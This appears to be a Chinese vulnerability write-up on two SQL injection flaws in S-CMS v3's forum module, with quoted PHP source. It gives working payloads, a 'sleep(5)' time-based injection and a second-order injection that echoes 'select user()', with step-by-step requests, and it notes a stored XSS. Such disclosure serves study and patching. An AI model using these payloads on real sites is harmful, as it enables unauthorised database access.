S-CMS企建v3二次SQL注入的方法
0x01 前言
繼上一篇的S-CMS漏洞再來(lái)一波!首發(fā)T00ls
0x2 目錄
Sql注入二次SQL注入
0x03 Sql注入
漏洞文件:\scms\bbs\bbs.php
$action=$_GET["action"]; $S_id=$_GET["S_id"]; if($action=="add"){ $B_title=htmlspecialchars($_POST["B_title"]); $B_sort=$_POST["B_sort"]; $B_content=htmlspecialchars($_POST["B_content"]); $S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh"); if($S_sh==1){ $B_sh=0; }else{ $B_sh=1; } $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")"); mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")"); $sql="Select * from SL_bbs order by B_id desc limit 1"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_id=$row["B_id"]; }
相對(duì)來(lái)說(shuō)這個(gè)注入比較簡(jiǎn)單,$B_sort 無(wú)過(guò)濾直接從POST獲取,然而在SELECT查詢的時(shí)候使用了intval函數(shù)來(lái)過(guò)濾變量。不過(guò)后面在insert的時(shí)候卻沒(méi)有任何過(guò)濾(無(wú)單引號(hào)包含)導(dǎo)致sql注入。
漏洞驗(yàn)證:
—Payload:
——http://127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=test&B_content=test11&B_sort=1 and sleep(5)
$debug調(diào)試信息:
Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)
0x04 二次注入
漏洞文件:
\scms\bbs\bbs.php
\scms\bbs\item.php
先看一下漏洞觸發(fā)點(diǎn):
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"]; $S_title=lang($row["S_title"]); $B_view=$row["B_view"]; $M_login=$row["M_login"]; $M_pic=$row["M_pic"]; $L_title=$row["L_title"]; } if(substr($M_pic,0,4)!="http"){ $M_pic="../media/".$M_pic; } $sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id; $result2 = mysqli_query($conn, $sql2); $row2 = mysqli_fetch_assoc($result2); $B_count=$row2["B_count"]; if($action=="reply"){ $B_contentx=$_POST["B_content"]; $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); box("回復(fù)成功!","item.php?id=".$id,"success"); }
簡(jiǎn)單說(shuō)一下邏輯,第一步執(zhí)行的sql語(yǔ)句是查詢帖子的詳細(xì)內(nèi)容($id帖子id)
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
然后把查詢到的內(nèi)容各自賦給一個(gè)變量
$B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"]; ..............................
到后面判斷$action=="reply",進(jìn)入回復(fù)帖子功能處
if($action=="reply"){ $B_contentx=$_POST["B_content"]; $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); box("回復(fù)成功!","item.php?id=".$id,"success"); }
可以看到$B_contentx=$_POST["B_content"]無(wú)過(guò)濾,這里會(huì)觸發(fā)儲(chǔ)存xss漏洞。然而這個(gè)不是重點(diǎn),繼續(xù)看執(zhí)行的insert語(yǔ)句,發(fā)現(xiàn)$B_title等變量都拼接了進(jìn)來(lái),沒(méi)有sql過(guò)濾,而這些變量是從數(shù)據(jù)庫(kù)查詢出來(lái)的(帖子的標(biāo)題等),然而回過(guò)頭去看上面的sql注入,不就是發(fā)帖功能的地方么。所以這些變量可控,導(dǎo)致二次sql注入。
漏洞觸發(fā)流程:
—首先我們?nèi)グl(fā)帖B_title的值是我們的payload,還有其他的值
——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1
—然后我們?nèi)カ@取帖子id,這個(gè)沒(méi)有特別好的辦法只能去摸索著找,可以先根據(jù)樓層判斷一共有多少帖子,然后一點(diǎn)一點(diǎn)的往后找,根據(jù)內(nèi)容判斷是否是我們發(fā)布的帖子
——http://127.0.0.1//scms/bbs/item.php?id=帖子id
—獲取到帖子后去觸發(fā)漏洞
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id
——B_content=test
—這里我說(shuō)一下payload為什么是這樣的,這樣構(gòu)造完全是為了達(dá)到回顯注入,因?yàn)楹竺娲蛴』貜?fù)內(nèi)容的時(shí)候執(zhí)行的sql注入是
——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";
—而B_sub可控,這樣我們就能直接獲取回顯。
漏洞演示:
—Payload1
——127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1
—Payload2
——獲取帖子id
——http://127.0.0.1//scms/bbs/item.php?id=30
—Payload3
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30
——B_content=test
執(zhí)行完成!最后我們就可以去訪問(wèn)我們的回復(fù)然后拿到回顯。http://127.0.0.1//scms/bbs/item.php?id=666這次id參數(shù)指向的是我們填的B_sub值
0x05 結(jié)束語(yǔ)
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
fastAdmin表單驗(yàn)證validate的錯(cuò)誤提示信息,如何改變位置?
fastAdmin表單驗(yàn)證validate的錯(cuò)誤提示,默認(rèn)是在右側(cè)的n-right,如果放在右側(cè)不太好看,想調(diào)整到其他位置,該怎么操作呢?2023-08-08zblogphp、Z-Blog PHP數(shù)據(jù)庫(kù)結(jié)構(gòu)及表中的字段詳細(xì)說(shuō)明
如果你是一位開(kāi)發(fā)者,你一定知道Zblog-PHP。它是一款非常流行的開(kāi)源博客系統(tǒng),許多人使用它來(lái)創(chuàng)建自己的博客。在使用Zblog-PHP的過(guò)程中,你可能會(huì)遇到一些數(shù)據(jù)庫(kù)字段,這些字段可能會(huì)導(dǎo)致一些困惑。因此,在本文中,我們將詳細(xì)解釋Zblog-PHP數(shù)據(jù)庫(kù)字段的含義和作用。2023-03-03解決dotproject中文名文件下載亂碼問(wèn)題的解決方法
汗一個(gè),老解決問(wèn)題,這我快成dotproject的中文技術(shù)支持了……,沒(méi)法,問(wèn)題還需要解決。2008-11-11phpcms數(shù)據(jù)表結(jié)構(gòu)和字段詳細(xì)說(shuō)明
PHPCMS?V9可以輕松承載百萬(wàn)級(jí)的訪問(wèn)數(shù)據(jù),最大的功臣就是PHPCMS良好的數(shù)據(jù)庫(kù)結(jié)構(gòu)。學(xué)習(xí)一下PHPCMS的數(shù)據(jù)庫(kù)結(jié)構(gòu)。數(shù)據(jù)表的默認(rèn)表前綴是V9_?,表前綴的主要作用是數(shù)據(jù)庫(kù)中有不同系統(tǒng)的數(shù)據(jù)表存在時(shí),可以用表前綴來(lái)區(qū)分出來(lái)。2023-04-04zblogphp使用GetArticleList、GetList函數(shù)調(diào)用熱門文章列表
ZBLOG?PHP文章的時(shí)候會(huì)用到最新文章、點(diǎn)擊數(shù)、評(píng)論數(shù)文章調(diào)用,在Zblog?php?1.7版本以前使用GetArticleList函數(shù),但之后,GetList函數(shù)增加where_custom、order_custom等多個(gè)重要參數(shù),從而可以輕易地調(diào)用熱門文章、熱評(píng)文章或隨機(jī)文章等列表了。2022-12-12易優(yōu)eyoucms數(shù)據(jù)表結(jié)構(gòu)和字段說(shuō)明(數(shù)據(jù)字典)
EyouCms是基于TP5.0框架為核心開(kāi)發(fā)的免費(fèi)開(kāi)源的企業(yè)內(nèi)容管理系統(tǒng),易優(yōu)基本包含了一個(gè)常規(guī)企業(yè)網(wǎng)站需要的一切功能。這篇文章主要介紹了易優(yōu)eyoucms數(shù)據(jù)表結(jié)構(gòu)和字段說(shuō)明(數(shù)據(jù)字典),需要的朋友可以參考下2023-04-04DownPlus 安全補(bǔ)丁 2008-12-12 附修改方法
DownPlus 安全補(bǔ)丁 2008-12-12 修正內(nèi)容: 修正query.asp的跨站腳本漏洞.2008-12-12